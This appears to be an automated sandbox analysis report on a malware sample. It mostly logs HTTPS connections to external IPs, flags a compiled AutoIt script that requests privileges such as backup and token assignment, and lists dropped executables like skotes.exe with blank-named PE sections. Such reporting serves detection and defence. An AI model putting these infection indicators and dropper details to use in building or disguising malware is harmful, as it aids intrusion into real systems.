Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50119
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50118
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50110
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50113
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50112
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50115
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50114
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50213 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50129
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50120
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61371 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61312 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50340 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50304
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50306
Source: unknown	Network traffic detected: HTTP traffic on port 50173 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50308
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50307
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50300
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50301
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50233 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50316
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50118 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61302 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50311
Source: unknown	Network traffic detected: HTTP traffic on port 50223 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50163 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50245 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50321
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50324
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50323
Source: unknown	Network traffic detected: HTTP traffic on port 50290 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50295
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50298
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50297
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50299
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 50331 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 50183 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50308 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50195 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 50114 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50253
Source: unknown	Network traffic detected: HTTP traffic on port 50986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50215 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50298 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50040
Source: unknown	Network traffic detected: HTTP traffic on port 50104 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50089 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50043
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50045
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50287
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50047
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50046
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50288
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50048
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50290
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50050
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50291
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50294
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50051
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50293
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50311 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50077 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50099 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50043 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50100 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50249 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50323 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50294 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50181 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50065 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50098
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50097
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50099
Source: unknown	Network traffic detected: HTTP traffic on port 50112 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50075 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50158 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 50087 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 50008 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49971 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50321 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49928
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49925
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49924
Source: unknown	Network traffic detected: HTTP traffic on port 50250 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49923
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49922
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49921
Source: unknown	Network traffic detected: HTTP traffic on port 50063 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50191 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50217 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49914 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49919
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49918
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49917
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49916
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49915
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49914
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49913
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49912
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49911
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49910
Source: unknown	Network traffic detected: HTTP traffic on port 49948 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50041 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50146 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50333 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49899 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50097 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49909
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49908
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49907

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.136:443 -> 192.168.2.5:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.5:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.136:443 -> 192.168.2.5:49788 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49933 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:50007 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:50102 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.5:50106 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50129 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50135 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50137 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50139 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50142 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50143 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50146 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50153 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50154 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50158 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50163 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50173 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50178 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50181 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:50186 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50191 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50195 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50197 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50215 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:50216 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:50224 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50226 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50232 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50231 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50295 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:50297 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50298 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50307 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50308 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.136:443 -> 192.168.2.5:50321 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.189.173.21:443 -> 192.168.2.5:50324 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50331 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.1.91:443 -> 192.168.2.5:50330 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.5:50332 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50335 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50336 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50337 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.5:50340 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.176.206:443 -> 192.168.2.5:61299 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:61313 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:61312 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 51.116.253.170:443 -> 192.168.2.5:61345 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:61371 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:61372 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:61370 version: TLS 1.2

System Summary

Binary is likely a compiled AutoIt script file

Source: 92cf6f64c8.exe, 0000001D.00000002.3006917408.0000000000972000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.		memstr_89328a05-b
Source: 92cf6f64c8.exe, 0000001D.00000002.3006917408.0000000000972000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer		memstr_ac5ca22d-0

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: DocumentsHCFCAAEBGC.exe.0.dr	Static PE information: section name:
Source: DocumentsHCFCAAEBGC.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsHCFCAAEBGC.exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .rsrc
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: skotes.exe.19.dr	Static PE information: section name:
Source: skotes.exe.19.dr	Static PE information: section name: .idata
Source: skotes.exe.19.dr	Static PE information: section name:
